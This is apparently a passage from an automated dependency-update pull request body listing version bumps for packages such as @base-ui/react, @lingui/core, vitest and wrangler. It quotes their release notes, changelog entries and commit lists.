| `1.168.47` |\n| [@testing-library/user-event](https://github.com/testing-library/user-event) | `14.6.7` | `14.6.8` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `25.9.8` | `25.9.9` |\n| [@vitejs/plugin-react](https://github.com/vitejs/vite-plugin-react/tree/HEAD/packages/plugin-react) | `6.1.1` | `6.1.2` |\n| [jsdom](https://github.com/jsdom/jsdom) | `30.1.2` | `30.1.3` |\n| [serwist](https://github.com/serwist/serwist) | `9.5.12` | `9.5.13` |\n| [wrangler](https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler) | `4.145.0` | `4.151.3` |\n| [vite-plus](https://github.com/voidzero-dev/vite-plus/tree/HEAD/packages/cli) | `1.0.0` | `1.3.0` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `5.0.1` | `5.0.5` |\n\n\nUpdates `@base-ui/react` from 1.8.0 to 1.9.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/mui/base-ui/releases\"\u003e@​base-ui/react's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.9.0\u003c/h2\u003e\n\u003ch3\u003eGeneral changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExport \u003ccode\u003eCssVariables\u003c/code\u003e and \u003ccode\u003eDataAttributes\u003c/code\u003e types (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5243\"\u003e#5243\u003c/a\u003e) by \u003ca href=\"https://github.com/superhooman\"\u003e\u003ccode\u003e@​superhooman\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix stale focused field state (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5345\"\u003e#5345\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix animation waits retaining detached elements (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5719\"\u003e#5719\u003c/a\u003e) by \u003ca href=\"https://github.com/flaviendelangle\"\u003e\u003ccode\u003e@​flaviendelangle\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep item registration in sync when items change under Strict Mode (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5862\"\u003e#5862\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAvoid re-rendering inactive triggers on open and close (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5865\"\u003e#5865\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAccordion\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003e\u0026lt;Accordion.Trigger\u0026gt;\u003c/code\u003e's \u003ccode\u003edata-value\u003c/code\u003e and \u003ccode\u003edata-index\u003c/code\u003e attributes (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5705\"\u003e#5705\u003c/a\u003e) by \u003ca href=\"https://github.com/cpruijsen\"\u003e\u003ccode\u003e@​cpruijsen\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eApply the native \u003ccode\u003edisabled\u003c/code\u003e attribute to \u003ccode\u003e\u0026lt;Accordion.Trigger\u0026gt;\u003c/code\u003e when using native buttons (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5607\"\u003e#5607\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eExpand \u003ccode\u003ehiddenUntilFound\u003c/code\u003e panels synchronously on \u003ccode\u003ebeforematch\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5514\"\u003e#5514\u003c/a\u003e) by \u003ca href=\"https://github.com/aarongarciah\"\u003e\u003ccode\u003e@​aarongarciah\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAlert Dialog\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDon't associate a programmatically opened popup with a trigger that did not open it (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5641\"\u003e#5641\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAutocomplete\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eautoHighlight\u003c/code\u003e for asynchronous results (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5818\"\u003e#5818\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePass the originating event to \u003ccode\u003eonItemHighlighted\u003c/code\u003e. Pointer events may be \u003ccode\u003eMouseEvent\u003c/code\u003e or \u003ccode\u003ePointerEvent\u003c/code\u003e; typing reports the reason \u003ccode\u003enone\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5838\"\u003e#5838\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDecouple automatic unmounting from \u003ccode\u003eactionsRef\u003c/code\u003e. Call \u003ccode\u003eeventDetails.preventUnmountOnClose()\u003c/code\u003e in \u003ccode\u003eonOpenChange\u003c/code\u003e to opt out of automatic unmounting (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5734\"\u003e#5734\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCheckbox\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePrefer \u003ccode\u003earia-label\u003c/code\u003e over associated labels (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5787\"\u003e#5787\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCollapsible\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eApply the native \u003ccode\u003edisabled\u003c/code\u003e attribute to \u003ccode\u003e\u0026lt;Collapsible.Trigger\u0026gt;\u003c/code\u003e when using native buttons (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5607\"\u003e#5607\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFinish closing when the render function removes the panel (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5890\"\u003e#5890\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRestore animations when a removed panel reopens (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5891\"\u003e#5891\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eExpand \u003ccode\u003ehiddenUntilFound\u003c/code\u003e panels synchronously on \u003ccode\u003ebeforematch\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5514\"\u003e#5514\u003c/a\u003e) by \u003ca href=\"https://github.com/aarongarciah\"\u003e\u003ccode\u003e@​aarongarciah\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCombobox\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix stale chip focus after returning to the input (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5879\"\u003e#5879\u003c/a\u003e) by \u003ca href=\"https://github.com/mdm317\"\u003e\u003ccode\u003e@​mdm317\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003eautoHighlight\u003c/code\u003e for asynchronous results (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5818\"\u003e#5818\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDecouple automatic unmounting from \u003ccode\u003eactionsRef\u003c/code\u003e. Call \u003ccode\u003eeventDetails.preventUnmountOnClose()\u003c/code\u003e in \u003ccode\u003eonOpenChange\u003c/code\u003e to opt out of automatic unmounting (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5734\"\u003e#5734\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix label focus in Shadow DOM (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5871\"\u003e#5871\u003c/a\u003e) by \u003ca href=\"https://github.com/lyzno1\"\u003e\u003ccode\u003e@​lyzno1\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePass the originating event to \u003ccode\u003eonItemHighlighted\u003c/code\u003e. Pointer events may be \u003ccode\u003eMouseEvent\u003c/code\u003e or \u003ccode\u003ePointerEvent\u003c/code\u003e; typing reports the reason \u003ccode\u003enone\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5838\"\u003e#5838\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eReset typeahead state when closing without moving focus (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5816\"\u003e#5816\u003c/a\u003e) by \u003ca href=\"https://github.com/mdm317\"\u003e\u003ccode\u003e@​mdm317\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAccept readonly arrays for multiple values (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5710\"\u003e#5710\u003c/a\u003e) by \u003ca href=\"https://github.com/MonstraG\"\u003e\u003ccode\u003e@​MonstraG\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eShare item indicator implementation (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5728\"\u003e#5728\u003c/a\u003e) by \u003ca href=\"https://github.com/flaviendelangle\"\u003e\u003ccode\u003e@​flaviendelangle\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eImprove mount performance of large lists (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5819\"\u003e#5819\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCombine item store subscriptions (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5863\"\u003e#5863\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDialog\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/mui/base-ui/blob/master/CHANGELOG.md\"\u003e@​base-ui/react's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.9.0\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003e\u003cem\u003eOct 9, 2026\u003c/em\u003e\u003c/p\u003e\n\u003ch3\u003eGeneral changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExport \u003ccode\u003eCssVariables\u003c/code\u003e and \u003ccode\u003eDataAttributes\u003c/code\u003e types (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5243\"\u003e#5243\u003c/a\u003e) by \u003ca href=\"https://github.com/superhooman\"\u003e\u003ccode\u003e@​superhooman\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix stale focused field state (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5345\"\u003e#5345\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix animation waits retaining detached elements (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5719\"\u003e#5719\u003c/a\u003e) by \u003ca href=\"https://github.com/flaviendelangle\"\u003e\u003ccode\u003e@​flaviendelangle\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep item registration in sync when items change under Strict Mode (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5862\"\u003e#5862\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAvoid re-rendering inactive triggers on open and close (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5865\"\u003e#5865\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAccordion\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003e\u0026lt;Accordion.Trigger\u0026gt;\u003c/code\u003e's \u003ccode\u003edata-value\u003c/code\u003e and \u003ccode\u003edata-index\u003c/code\u003e attributes (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5705\"\u003e#5705\u003c/a\u003e) by \u003ca href=\"https://github.com/cpruijsen\"\u003e\u003ccode\u003e@​cpruijsen\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eApply the native \u003ccode\u003edisabled\u003c/code\u003e attribute to \u003ccode\u003e\u0026lt;Accordion.Trigger\u0026gt;\u003c/code\u003e when using native buttons (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5607\"\u003e#5607\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eExpand \u003ccode\u003ehiddenUntilFound\u003c/code\u003e panels synchronously on \u003ccode\u003ebeforematch\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5514\"\u003e#5514\u003c/a\u003e) by \u003ca href=\"https://github.com/aarongarciah\"\u003e\u003ccode\u003e@​aarongarciah\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAlert Dialog\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDon't associate a programmatically opened popup with a trigger that did not open it (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5641\"\u003e#5641\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAutocomplete\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eautoHighlight\u003c/code\u003e for asynchronous results (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5818\"\u003e#5818\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePass the originating event to \u003ccode\u003eonItemHighlighted\u003c/code\u003e. Pointer events may be \u003ccode\u003eMouseEvent\u003c/code\u003e or \u003ccode\u003ePointerEvent\u003c/code\u003e; typing reports the reason \u003ccode\u003enone\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5838\"\u003e#5838\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDecouple automatic unmounting from \u003ccode\u003eactionsRef\u003c/code\u003e. Call \u003ccode\u003eeventDetails.preventUnmountOnClose()\u003c/code\u003e in \u003ccode\u003eonOpenChange\u003c/code\u003e to opt out of automatic unmounting (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5734\"\u003e#5734\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCheckbox\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePrefer \u003ccode\u003earia-label\u003c/code\u003e over associated labels (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5787\"\u003e#5787\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCollapsible\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eApply the native \u003ccode\u003edisabled\u003c/code\u003e attribute to \u003ccode\u003e\u0026lt;Collapsible.Trigger\u0026gt;\u003c/code\u003e when using native buttons (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5607\"\u003e#5607\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFinish closing when the render function removes the panel (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5890\"\u003e#5890\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRestore animations when a removed panel reopens (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5891\"\u003e#5891\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eExpand \u003ccode\u003ehiddenUntilFound\u003c/code\u003e panels synchronously on \u003ccode\u003ebeforematch\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5514\"\u003e#5514\u003c/a\u003e) by \u003ca href=\"https://github.com/aarongarciah\"\u003e\u003ccode\u003e@​aarongarciah\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCombobox\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix stale chip focus after returning to the input (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5879\"\u003e#5879\u003c/a\u003e) by \u003ca href=\"https://github.com/mdm317\"\u003e\u003ccode\u003e@​mdm317\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003eautoHighlight\u003c/code\u003e for asynchronous results (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5818\"\u003e#5818\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDecouple automatic unmounting from \u003ccode\u003eactionsRef\u003c/code\u003e. Call \u003ccode\u003eeventDetails.preventUnmountOnClose()\u003c/code\u003e in \u003ccode\u003eonOpenChange\u003c/code\u003e to opt out of automatic unmounting (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5734\"\u003e#5734\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix label focus in Shadow DOM (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5871\"\u003e#5871\u003c/a\u003e) by \u003ca href=\"https://github.com/lyzno1\"\u003e\u003ccode\u003e@​lyzno1\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePass the originating event to \u003ccode\u003eonItemHighlighted\u003c/code\u003e. Pointer events may be \u003ccode\u003eMouseEvent\u003c/code\u003e or \u003ccode\u003ePointerEvent\u003c/code\u003e; typing reports the reason \u003ccode\u003enone\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5838\"\u003e#5838\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eReset typeahead state when closing without moving focus (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5816\"\u003e#5816\u003c/a\u003e) by \u003ca href=\"https://github.com/mdm317\"\u003e\u003ccode\u003e@​mdm317\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAccept readonly arrays for multiple values (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5710\"\u003e#5710\u003c/a\u003e) by \u003ca href=\"https://github.com/MonstraG\"\u003e\u003ccode\u003e@​MonstraG\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/ad7ecda5296b0295b41a51ecb01fce6204acd099\"\u003e\u003ccode\u003ead7ecda\u003c/code\u003e\u003c/a\u003e [release] v1.9.0 (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5906\"\u003e#5906\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/3296de3d4c79435a596c72ad8048d74ecc241ca5\"\u003e\u003ccode\u003e3296de3\u003c/code\u003e\u003c/a\u003e [drawer] Avoid retaining unmounted drawers in DrawerProvider (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5921\"\u003e#5921\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/69c33b49c71d729a1e63255dd5eb9794fa9a8d2e\"\u003e\u003ccode\u003e69c33b4\u003c/code\u003e\u003c/a\u003e [drawer] Fix deferred touch swipes leaving the popup (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5922\"\u003e#5922\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/51b70db60fb2660bbb7236ba5b235a5d77d9fe22\"\u003e\u003ccode\u003e51b70db\u003c/code\u003e\u003c/a\u003e [menu] Strip internal filter components from public types (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5923\"\u003e#5923\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/8d8b98c351c4d1ec9a6f80dcc89e39e454b1e53a\"\u003e\u003ccode\u003e8d8b98c\u003c/code\u003e\u003c/a\u003e [menu] Ignore filter input edits while the menu animates out (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5911\"\u003e#5911\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/aeba3eb9f4613424c1a66f767bb20d25233306b6\"\u003e\u003ccode\u003eaeba3eb\u003c/code\u003e\u003c/a\u003e [combobox][menu][select] Revert highlightItem imperative action (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5910\"\u003e#5910\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/ec6bf32d3c1b482994810cf795f7016c375d6493\"\u003e\u003ccode\u003eec6bf32\u003c/code\u003e\u003c/a\u003e [field][select][combobox][slider] Fall back to the owner document when lookin...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/1f112a5d2399e47d052601d05ca82a58272192a6\"\u003e\u003ccode\u003e1f112a5\u003c/code\u003e\u003c/a\u003e [popups] Avoid re-rendering inactive triggers on open and close (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5865\"\u003e#5865\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/bc53db672db4fa17302a95b449b376a7db52a625\"\u003e\u003ccode\u003ebc53db6\u003c/code\u003e\u003c/a\u003e [fieldset] Await render in Legend disabled-state test (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5909\"\u003e#5909\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/147092ee55c2e02bcbac2e45b17640d2d317bbb7\"\u003e\u003ccode\u003e147092e\u003c/code\u003e\u003c/a\u003e [test] Strengthen tests, add test lint rules and share copied suites (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5892\"\u003e#5892\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/mui/base-ui/commits/v1.9.0/packages/react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@lingui/core` from 6.8.0 to 6.10.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lingui/js-lingui/releases\"\u003e@​lingui/core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.10.0\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.9.1...v6.10.0\"\u003e6.10.0\u003c/a\u003e (2026-10-16)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecore:\u003c/strong\u003e runtime core macro (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2618\"\u003e#2618\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/bd79e85d57d95669b4e3c05f624a9974897c42b9\"\u003ebd79e85\u003c/a\u003e) (\u003ca href=\"https://lingui.dev/blog/2026/10/16/runtime-macro\"\u003eAnnouncement\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecore:\u003c/strong\u003e add default global variables support to i18n instance (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2661\"\u003e#2661\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/7fa9acd777290d5f78e17935df21d976585433a2\"\u003e7fa9acd\u003c/a\u003e) (\u003ca href=\"https://lingui.dev/ref/core#i18n.setvariables\"\u003eDocumentation\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e don't compile twice per change in watch mode without \u003ccode\u003e--debounce\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2722\"\u003e#2722\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/92c8622e68e6b94bd3ea4f241b7314d610c46e83\"\u003e92c8622\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev6.9.1\u003c/h2\u003e\n\u003ch2\u003e\u003ca 